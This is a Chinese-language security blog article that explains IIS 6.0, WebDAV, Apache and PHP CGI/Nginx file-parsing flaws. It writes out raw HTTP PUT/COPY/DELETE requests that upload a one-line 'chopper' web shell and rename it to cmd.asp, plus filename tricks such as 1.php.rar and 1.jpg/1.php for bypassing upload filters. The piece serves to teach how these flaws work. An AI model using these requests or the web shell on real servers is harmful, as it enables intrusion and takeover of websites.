WEB解析漏洞-IIS、Apache和PHP CGI解析漏洞

攻击者在利用上传漏洞时,通常会与web容器的解析漏洞配合在一起。所以我们首先来了解一下解析漏洞,这样才能更深入地了解上传漏洞,并加以防范。今天,马会社区( mahui.org )分享的是《WEB解析漏洞-IIS、Apache和PHP CGI解析漏洞》。希望对大家有所帮助。

解析漏洞
解析漏洞

一、IIS解析漏洞

常见的Web容器有IIS、Nginx、Apache和Tomcat等,IIS6.0在解析文件时存在两个解析漏洞。

1、当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件夹解析。

例如:建立文件夹parsing.asp,在paring.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。

“NOW()”是ASP提供获取当前的时间函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本解析。

2、当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。

微软并不认为这是一个漏洞,也一直没有推出IIS6.0的补丁,所以这两个“漏洞”至今还存在,让无数的网站“死”在了IIS6.0解析漏洞之上。

IIS容器中,一个景点漏洞名为WebDav,Web-based Distributed Authoring and Versioning,是一种基于HTTP1.1协议的通信协议,它扩展了HTTP协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使HTTP协议更强大。

在开启WebDav扩展的服务器后,如果支持PUT、Move、Copy、Delete等方法,就可能会存在一些安全隐患,比如 www.secbug.org 服务器(IIS6.0web容器)支持WebDav,并且存在PUT、Move、Copy、Delete等方法,那么攻击者可能通过PUT方法向服务器上传危险脚本文件。

第一步:通过OPTIONS探测服务器所支持的HTTP方法。

请求:

OPTIONS / HTTP/1.1

Host: www.secbug.org

第二步:通过PUT方法向服务器上传脚本文件。

请求:

PUT /a.txt HTTP/1.1

Host: www.secbug.org

Content-Length:30

<%eval request(“chopper”)%>

第三步:通过Move或Copy方法改名。

请求:

COPY /a.txt HTTP/1.1

Host:www.secbug.org

Destination: http://www.secbug.org/cmd.asp

通过这三个步骤,攻击者就可以轻易获取一个WebShell。

如果服务器开启了DELETE方法,攻击者还可以删除服务器上的任意文件。

请求:

DELETE /a.txt HTTP/1.1

Host: www.secbug.org

针对这个漏洞的快速检测工具有:IIS Write。

二、Apache解析漏洞

在Apache 1.x和Apache 2.x中存在解析漏洞,但它们与IIS解析漏洞不同。URL中的文件名为1.php.rar,正常情况下,应该会弹出一个文件下载的提示框,但此时没有弹出,反而显示出了phpinfo()的内容这就是Apache的解析漏洞。1.php.rar的内容如下:

<?

phpinfo()

?>

Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。比如:

1.php.rar.xs.aa

Apache首先会解析aa扩展名,如果不认识,将会解析xs扩展名,这样一直遍历到认识的扩展名为止,然后将其进行解析。那么Apache认识哪些扩展名呢?在Apache安装目录下“/conf/mime.types”文件中有详细的扩展名列表。

有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到webshell。

三、PHP CGI解析漏洞

Nginx是一款高性能的web服务器,通常用来作为PHP的解析容器,Nginx也曾经被曝过两个“解析漏洞”,比如,访问https://mahui.org/  1.jpg/1.php,此时的1.jpg会被当作PHP脚本本来解析。

此时的1.php是不存在的,却可以看到1.jpg已经按照PHP脚本来解析了,问题就出现在这个“1.php”上(1.php并不是特定的,可以随意命名)。这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后门加上“/xxx.php”,就可以获得网站的webshell。

这种漏洞被称为PHP CGI漏洞,在PHP的配置文件中有一个关键的选项: cgi.fi:x_pathinfo。这个选项在某些版本中是默认开启的,在开启时访问URL,比如https://mahui.org/  x.txt/x.php,x.php是不存在的文件,所以PHP将会向前递归解析,于是造成了解析漏洞,可以说此漏洞与Nginx关系并不是很大,但由于Nginx与PHP配合很容易造成这种解析漏洞,所以PHP CGI漏洞常常被认为是Nginx解析漏洞。

以上就是马会社区( mahui.org )分享的是《WEB解析漏洞-IIS、Apache和PHP CGI解析漏洞》。感谢您的阅读。

mahui.org 原创文章,仅限技术研究。发布者:马会,转转请注明出处:https://mahui.org/tech/2270.html

发表评论

邮箱地址不会被公开。 必填项已用*标注